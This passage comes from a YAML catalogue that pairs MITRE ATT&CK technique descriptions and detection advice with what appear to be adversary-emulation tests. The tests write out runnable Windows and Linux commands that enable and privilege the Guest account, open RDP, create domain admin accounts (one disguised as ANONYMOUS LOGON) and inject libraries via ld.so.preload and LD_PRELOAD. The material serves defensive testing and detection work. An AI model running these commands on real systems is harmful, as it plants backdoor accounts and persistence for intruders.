        Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)

        Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)
      id: attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      modified: '2021-04-05T20:14:26.846Z'
      created: '2020-03-13T20:15:31.974Z'
      x_mitre_version: '1.2'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_detection: Monitor whether default accounts have been activated or logged
        into. These audits should also include checks on any appliances and applications
        for default credentials or SSH keys, and if any are discovered, they should
        be updated immediately.
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Creation'
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      - Containers
      identifier: T1078.001
    atomic_tests:
    - name: Enable Guest account with RDP capability and admin privileges
      auto_generated_guid: 99747561-ed8d-47f2-9c91-1e5fde1ed6e0
      description: |
        After execution the Default Guest account will be enabled (Active) and added to Administrators and Remote Desktop Users Group,
        and desktop will allow multiple RDP connections.
      supported_platforms:
      - windows
      input_arguments:
        guest_user:
          description: Specify the guest account
          type: String
          default: guest
        guest_password:
          description: Specify the guest password
          type: String
          default: Password123!
        local_admin_group:
          description: Specify the admin localgroup name
          type: String
          default: Administrators
        remote_desktop_users_group_name:
          description: Specify the remote desktop users group name
          type: String
          default: Remote Desktop Users
        remove_rdp_access_during_cleanup:
          description: Set to 1 if you want the cleanup to remove RDP access to machine
          type: Integer
          default: 0
      executor:
        command: |-
          net user #{guest_user} /active:yes
          net user #{guest_user} #{guest_password}
          net localgroup #{local_admin_group} #{guest_user} /add
          net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /add
          reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
          reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
        cleanup_command: |-
          net user #{guest_user} /active:no >nul 2>&1
          net localgroup #{local_admin_group} #{guest_user} /delete >nul 2>&1
          net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /delete >nul 2>&1
          if #{remove_rdp_access_during_cleanup} NEQ 1 (echo Note: set remove_rdp_access_during_cleanup input argument to disable RDP access during cleanup)
          if #{remove_rdp_access_during_cleanup} EQU 1 (reg delete "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /f >nul 2>&1)
          if #{remove_rdp_access_during_cleanup} EQU 1 (reg delete "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /f >nul 2>&1)
        name: command_prompt
        elevation_required: true
    - name: Activate Guest Account
      auto_generated_guid: aa6cb8c4-b582-4f8e-b677-37733914abda
      description: 'The Adversaries can activate the default Guest user. The guest
        account is inactivated by default

'
      supported_platforms:
      - windows
      input_arguments:
        guest_user:
          description: Specify the guest account
          type: String
          default: guest
      executor:
        command: 'net user #{guest_user} /active:yes

'
        cleanup_command: 'net user #{guest_user} /active:no

'
        name: command_prompt
        elevation_required: true
  T1136.002:
    technique:
      created: '2020-01-28T14:05:17.825Z'
      modified: '2020-03-23T18:12:36.696Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      type: attack-pattern
      id: attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177
      description: |-
        Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the <code>net user /add /domain</code> command can be used to create a domain account.

        Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
      name: Domain Account
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1136.002
        url: https://attack.mitre.org/techniques/T1136/002
      - source_name: Microsoft User Creation Event
        description: 'Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account
          was created. Retrieved June 30, 2017.'
        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      x_mitre_data_sources:
      - 'User Account: User Account Creation'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_detection: 'Monitor for processes and command-line parameters associated
        with domain account creation, such as <code>net user /add /domain</code>.
        Collect data on account creation within a network. Event ID 4720 is generated
        when a user account is created on a Windows domain controller. (Citation:
        Microsoft User Creation Event) Perform regular audits of domain accounts to
        detect suspicious accounts that may have been created by an adversary.'
      x_mitre_permissions_required:
      - Administrator
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      identifier: T1136.002
    atomic_tests:
    - name: Create a new Windows domain admin user
      auto_generated_guid: fcec2963-9951-4173-9bfa-98d8b7834e62
      description: 'Creates a new domain admin user in a command prompt.

'
      supported_platforms:
      - windows
      input_arguments:
        username:
          description: Username of the user to create
          type: String
          default: T1136.002_Admin
        password:
          description: Password of the user to create
          type: String
          default: T1136_pass123!
        group:
          description: Domain administrator group to which add the user to
          type: String
          default: Domain Admins
      executor:
        command: |
          net user "#{username}" "#{password}" /add /domain
          net group "#{group}" "#{username}" /add /domain
        cleanup_command: 'net user "#{username}" >nul 2>&1 /del /domain

'
        name: command_prompt
        elevation_required: false
    - name: Create a new account similar to ANONYMOUS LOGON
      auto_generated_guid: dc7726d2-8ccb-4cc6-af22-0d5afb53a548
      description: 'Create a new account similar to ANONYMOUS LOGON in a command prompt.

'
      supported_platforms:
      - windows
      input_arguments:
        username:
          description: Username of the user to create
          type: String
          default: ANONYMOUS  LOGON
        password:
          description: Password of the user to create
          type: String
          default: T1136_pass123!
      executor:
        command: 'net user "#{username}" "#{password}" /add /domain

'
        cleanup_command: 'net user "#{username}" >nul 2>&1 /del /domain

'
        name: command_prompt
        elevation_required: false
    - name: Create a new Domain Account using PowerShell
      auto_generated_guid: 5a3497a4-1568-4663-b12a-d4a5ed70c7d7
      description: 'Creates a new Domain User using the credentials of the Current
        User

'
      supported_platforms:
      - windows
      input_arguments:
        username:
          description: Name of the Account to be created
          type: String
          default: T1136.002_Admin
        password:
          description: Password of the Account to be created
          type: String
          default: T1136_pass123!
      executor:
        command: |
          $SamAccountName = '#{username}'
          $AccountPassword = ConvertTo-SecureString '#{password}' -AsPlainText -Force
          Add-Type -AssemblyName System.DirectoryServices.AccountManagement
          $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain)
          $User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList ($Context)
          $User.SamAccountName = $SamAccountName
          $TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword)
          $User.SetPassword($TempCred.GetNetworkCredential().Password)
          $User.Enabled = $True
          $User.PasswordNotRequired = $False
          $User.DisplayName = $SamAccountName
          $User.Save()
          $User
        cleanup_command: 'cmd /c "net user #{username} /del >nul 2>&1"

'
        name: powershell
        elevation_required: false
  T1078.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1078.002
        url: https://attack.mitre.org/techniques/T1078/002
      - external_id: CAPEC-560
        source_name: capec
        url: https://capec.mitre.org/data/definitions/560.html
      - url: https://technet.microsoft.com/en-us/library/dn535501.aspx
        description: Microsoft. (2016, April 15). Attractive Accounts for Credential
          Theft. Retrieved June 3, 2016.
        source_name: TechNet Credential Theft
      - source_name: Microsoft AD Accounts
        url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts
        description: Microsoft. (2019, August 23). Active Directory Accounts. Retrieved
          March 13, 2020.
      - url: https://technet.microsoft.com/en-us/library/dn487457.aspx
        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
          June 3, 2016.
        source_name: TechNet Audit Policy
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Domain Accounts
      description: |-
        Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. (Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)

        Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.
      id: attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      modified: '2020-09-16T19:42:11.787Z'
      created: '2020-03-13T20:21:54.758Z'
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_detection: |-
        Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).

        Perform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence.
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Creation'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
  T1556.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1556.001
        url: https://attack.mitre.org/techniques/T1556/001
      - source_name: Dell Skeleton
        description: Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis.
          Retrieved April 8, 2019.
        url: https://www.secureworks.com/research/skeleton-key-malware-analysis
      - url: https://technet.microsoft.com/en-us/library/dn487457.aspx
        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
          June 3, 2016.
        source_name: TechNet Audit Policy
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Domain Controller Authentication
      description: "Adversaries may patch the authentication process on a domain controller
        to bypass the typical authentication mechanisms and enable access to accounts.
        \n\nMalware may be used to inject false credentials into the authentication
        process on a domain controller with the intent of creating a backdoor used
        to access any user’s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)).
        Skeleton key works through a patch on an enterprise domain controller authentication
        process (LSASS) with credentials that adversaries may use to bypass the standard
        authentication system. Once patched, an adversary can use the injected password
        to successfully authenticate as any domain user account (until the the skeleton
        key is erased from memory by a reboot of the domain controller). Authenticated
        access may enable unfettered access to hosts and/or resources within single-factor
        authentication environments.(Citation: Dell Skeleton)"
      id: attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2021-04-20T20:10:26.613Z'
      created: '2020-02-11T19:05:02.399Z'
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'Process: OS API Execution'
      - 'Process: Process Access'
      - 'File: File Modification'
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: "Monitor for calls to <code>OpenProcess</code> that can be
        used to manipulate lsass.exe running on a domain controller as well as for
        malicious modifications to functions exported from authentication-related
        system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)\n\nConfigure
        robust, consistent account activity audit policies across the enterprise and
        with externally accessible services.(Citation: TechNet Audit Policy) Look
        for suspicious account behavior across systems that share accounts, either
        user, admin, or service accounts. Examples: one account logged into multiple
        systems simultaneously; multiple accounts logged into the same machine simultaneously;
        accounts logged in at odd times or outside of business hours. Activity may
        be from interactive login sessions or process ownership from accounts being
        used to execute binaries on a remote system as a particular account. Correlate
        other security systems with login information (e.g. a user has an active login
        session but has not entered the building or does not have VPN access). "
      x_mitre_version: '2.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
    atomic_tests: []
  T1574.004:
    technique:
      id: attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490
      description: |-
        Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with <code>@rpath</code>, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable.  Additionally, if weak linking is used, such as the <code>LC_LOAD_WEAK_DYLIB</code> function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.

        Adversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)
      name: Dylib Hijacking
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1574.004
        url: https://attack.mitre.org/techniques/T1574/004
      - external_id: CAPEC-471
        source_name: capec
        url: https://capec.mitre.org/data/definitions/471.html
      - source_name: Wardle Dylib Hijack Vulnerable Apps
        url: https://objective-see.com/blog/blog_0x46.html
        description: Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore
          Apps. Retrieved March 31, 2021.
      - source_name: Wardle Dylib Hijacking OSX 2015
        url: https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf
        description: Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved
          March 29, 2021.
      - source_name: Github EmpireProject HijackScanner
        url: https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py
        description: Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib
          Hijack Vulnerability Scanner. Retrieved April 1, 2021.
      - source_name: Github EmpireProject CreateHijacker Dylib
        url: https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py
        description: Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib
          Hijacker. Retrieved April 1, 2021.
      - url: https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf
        description: Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved
          July 10, 2017.
        source_name: Writing Bad Malware for OSX
      - source_name: wardle artofmalware volume1
        url: https://taomm.org/vol1/pdfs.html
        description: 'Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume
          0x1: Analysis. Retrieved March 19, 2021.'
      - source_name: MalwareUnicorn macOS Dylib Injection MachO
        url: https://malwareunicorn.org/workshops/macos_dylib_injection.html#5
        description: Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop.
          Retrieved March 29, 2021.
      - source_name: Apple Developer Doco Archive Run-Path
        url: https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html
        description: Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved
          March 31, 2021.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2021-04-27T20:19:15.212Z'
      created: '2020-03-16T15:23:30.896Z'
      x_mitre_platforms:
      - macOS
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Module: Module Load'
      x_mitre_detection: "Monitor file systems for moving, renaming, replacing, or
        modifying dylibs. Changes in the set of dylibs that are loaded by a process
        (compared to past behavior) that do not correlate with known software, patches,
        etc., are suspicious. Check the system for multiple dylibs with the same name
        and monitor which versions have historically been loaded into a process. \n\nRun
        path dependent libraries can include <code>LC_LOAD_DYLIB</code>, <code>LC_LOAD_WEAK_DYLIB</code>,
        and <code>LC_RPATH</code>. Other special keywords are recognized by the macOS
        loader are <code>@rpath</code>, <code>@loader_path</code>, and <code>@executable_path</code>.(Citation:
        Apple Developer Doco Archive Run-Path) These loader instructions can be examined
        for individual binaries or frameworks using the <code>otool -l</code> command.
        Objective-See's Dylib Hijacking Scanner can be used to identify applications
        vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation:
        Github EmpireProject HijackScanner)"
      x_mitre_is_subtechnique: true
      x_mitre_version: '2.0'
      x_mitre_defense_bypassed:
      - Application control
    atomic_tests: []
  T1574.006:
    technique:
      id: attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825
      description: "Adversaries may execute their own malicious payloads by hijacking
        environment variables the dynamic linker uses to load shared libraries. During
        the execution preparation phase of a program, the dynamic linker loads specified
        absolute paths of shared libraries from environment variables and files, such
        as <code>LD_PRELOAD</code> on Linux or <code>DYLD_INSERT_LIBRARIES</code>
        on macOS. Libraries specified in environment variables are loaded first, taking
        precedence over system libraries with the same function name.(Citation: Man
        LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic
        Libraries) These variables are often used by developers to debug binaries
        without needing to recompile, deconflict mapped symbols, and implement custom
        functions without changing the original library.(Citation: Baeldung LD_PRELOAD)\n\nOn
        Linux and macOS, hijacking dynamic linker variables may grant access to the
        victim process's memory, system/network resources, and possibly elevated privileges.
        This method may also evade detection from security products since the execution
        is masked under a legitimate process. Adversaries can set environment variables
        via the command line using the <code>export</code> command, <code>setenv</code>
        function, or <code>putenv</code> function. Adversaries can also leverage [Dynamic
        Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) to export
        variables in a shell or set variables programmatically using higher level
        syntax such Python’s <code>os.environ</code>.\n\nOn Linux, adversaries may
        set <code>LD_PRELOAD</code> to point to malicious libraries that match the
        name of legitimate libraries which are requested by a victim program, causing
        the operating system to load the adversary's malicious code upon execution
        of the victim program. <code>LD_PRELOAD</code> can be set via the environment
        variable or <code>/etc/ld.so.preload</code> file.(Citation: Man LD.SO)(Citation:
        TLDP Shared Libraries) Libraries specified by <code>LD_PRELOAD</code> are
        loaded and mapped into memory by <code>dlopen()</code> and <code>mmap()</code>
        respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed
        Needle) (Citation: Phrack halfdead 1997)(Citation: Brown Exploiting Linkers)
        \n\nOn macOS this behavior is conceptually the same as on Linux, differing
        only in how the macOS dynamic libraries (dyld) is implemented at a lower level.
        Adversaries can set the <code>DYLD_INSERT_LIBRARIES</code> environment variable
        to point to malicious libraries containing names of legitimate libraries or
        functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation:
        Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina
        Bypass) "
      name: Dynamic Linker Hijacking
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1574.006
        url: https://attack.mitre.org/techniques/T1574/006
      - external_id: CAPEC-13
        source_name: capec
        url: https://capec.mitre.org/data/definitions/13.html
      - external_id: CAPEC-640
        source_name: capec
        url: https://capec.mitre.org/data/definitions/640.html
      - source_name: Man LD.SO
        url: https://www.man7.org/linux/man-pages/man8/ld.so.8.html
        description: Kerrisk, M. (2020, June 13). Linux Programmer's Manual. Retrieved
          June 15, 2020.
      - source_name: TLDP Shared Libraries
        url: https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html
        description: The Linux Documentation Project. (n.d.). Shared Libraries. Retrieved
          January 31, 2020.
      - source_name: Apple Doco Archive Dynamic Libraries
        url: https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html
        description: Apple Inc.. (2012, July 23). Overview of Dynamic Libraries. Retrieved
          March 24, 2021.
      - source_name: Baeldung LD_PRELOAD
        url: https://www.baeldung.com/linux/ld_preload-trick-what-is
        description: baeldung. (2020, August 9). What Is the LD_PRELOAD Trick?. Retrieved
          March 24, 2021.
      - source_name: Code Injection on Linux and macOS
        url: https://www.datawire.io/code-injection-on-linux-and-macos/
        description: 'Itamar Turner-Trauring. (2017, April 18). “This will only hurt
          for a moment”: code injection on Linux and macOS with LD_PRELOAD. Retrieved
          December 20, 2017.'
      - url: http://hick.org/code/skape/papers/needle.txt
        description: skape. (2003, January 19). Linux x86 run-time process manipulation.
          Retrieved December 20, 2017.
        source_name: Uninformed Needle
      - url: http://phrack.org/issues/51/8.html
        description: halflife. (1997, September 1). Shared Library Redirection Techniques.
          Retrieved December 20, 2017.
        source_name: Phrack halfdead 1997
      - source_name: Brown Exploiting Linkers
        url: http://www.nth-dimension.org.uk/pub/BTL.pdf
        description: 'Tim Brown. (2011, June 29). Breaking the links: Exploiting the
          linker. Retrieved March 29, 2021.'
      - source_name: TheEvilBit DYLD_INSERT_LIBRARIES
        url: https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/
        description: Fitzl, C. (2019, July 9). DYLD_INSERT_LIBRARIES DYLIB injection
          in macOS / OSX. Retrieved March 26, 2020.
      - source_name: Timac DYLD_INSERT_LIBRARIES
        url: https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/
        description: Timac. (2012, December 18). Simple code injection using DYLD_INSERT_LIBRARIES.
          Retrieved March 26, 2020.
      - source_name: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass
        url: https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191
        description: Jon Gabilondo. (2019, September 22). How to Inject Code into
          Mach-O Apps. Part II.. Retrieved March 24, 2021.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2021-04-27T19:55:18.453Z'
      created: '2020-03-13T20:09:59.569Z'
      x_mitre_permissions_required:
      - User
      x_mitre_platforms:
      - Linux
      - macOS
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Module: Module Load'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_detection: |-
        Monitor for changes to environment variables and files associated with loading shared libraries such as <code>LD_PRELOAD</code> and <code>DYLD_INSERT_LIBRARIES</code>, as well as the commands to implement these changes.

        Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.
      x_mitre_is_subtechnique: true
      x_mitre_version: '2.0'
      identifier: T1574.006
    atomic_tests:
    - name: Shared Library Injection via /etc/ld.so.preload
      auto_generated_guid: 39cb0e67-dd0d-4b74-a74b-c072db7ae991
      description: "This test adds a shared library to the `ld.so.preload` list to
        execute and intercept API calls. This technique was used by threat actor Rocke
        during the exploitation of Linux web servers. This requires the `glibc` package.\n\nUpon
        successful execution, bash will echo `../bin/T1574.006.so` to /etc/ld.so.preload.
        \n"
      supported_platforms:
      - linux
      input_arguments:
        path_to_shared_library_source:
          description: Path to a shared library source code
          type: Path
          default: PathToAtomicsFolder/T1574.006/src/Linux/T1574.006.c
        path_to_shared_library:
          description: Path to a shared library object
          type: Path
          default: "/tmp/T1574006.so"
      dependency_executor_name: bash
      dependencies:
      - description: 'The shared library must exist on disk at specified location
          (#{path_to_shared_library})

'
        prereq_command: 'if [ -f #{path_to_shared_library ]; then exit 0; else exit
          1; fi;

'
        get_prereq_command: 'gcc -shared -fPIC -o #{path_to_shared_library} #{path_to_shared_library_source}

'
      executor:
        command: 'sudo sh -c ''echo #{path_to_shared_library} > /etc/ld.so.preload''

'
        cleanup_command: 'sudo sed -i ''\~#{path_to_shared_library}~d'' /etc/ld.so.preload

'
        name: bash
        elevation_required: true
    - name: Shared Library Injection via LD_PRELOAD
      auto_generated_guid: bc219ff7-789f-4d51-9142-ecae3397deae
      description: |
        This test injects a shared object library via the LD_PRELOAD environment variable to execute. This technique was used by threat actor Rocke during the exploitation of Linux web servers. This requires the `glibc` package.

        Upon successful execution, bash will utilize LD_PRELOAD to load the shared object library `/etc/ld.so.preload`. Output will be via stdout.
      supported_platforms:
      - linux
      input_arguments:
        path_to_shared_library_source:
          description: Path to a shared library source code
          type: Path
          default: PathToAtomicsFolder/T1574.006/src/Linux/T1574.006.c
        path_to_shared_library:
          description: Path to a shared library object
          type: Path
          default: "/tmp/T1574006.so"
      dependency_executor_name: bash
      dependencies:
      - description: 'The shared library must exist on disk at specified location
          (#{path_to_shared_library})

'
        prereq_command: 'if [ -f #{path_to_shared_library} ]; then exit 0; else exit
          1; fi;

'
        get_prereq_command: 'gcc -shared -fPIC -o #{path_to_shared_library} #{path_to_shared_library_source}

'
      executor:
        command: 'LD_PRELOAD=#{path_to_shared_library} ls

'
        name: bash
  T1546.014:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1546.014
        url: https://attack.mitre.org/techniques/T1546/014
      - source_name: xorrior emond Jan 2018
        url: https://www.xorrior.com/emond-persistence/
        description: Ross, Chris. (2018, January 17). Leveraging Emond on macOS For
          Persistence. Retrieved September 10, 2019.
      - source_name: magnusviri emond Apr 2016
        url: http://www.magnusviri.com/Mac/what-is-emond.html
        description: Reynolds, James. (2016, April 7). What is emond?. Retrieved September
          10, 2019.
      - source_name: sentinelone macos persist Jun 2019
        url: https://www.sentinelone.com/blog/how-malware-persists-on-macos/
        description: Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS.
          Retrieved September 10, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Emond
      description: |-
        Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place.

        The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)

        Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.
      id: attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2020-03-24T21:37:25.307Z'
      created: '2020-01-24T15:15:13.426Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: Monitor emond rules creation by checking for files created
        or modified in <code>/etc/emond.d/rules/</code> and <code>/private/var/db/emondClients</code>.
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
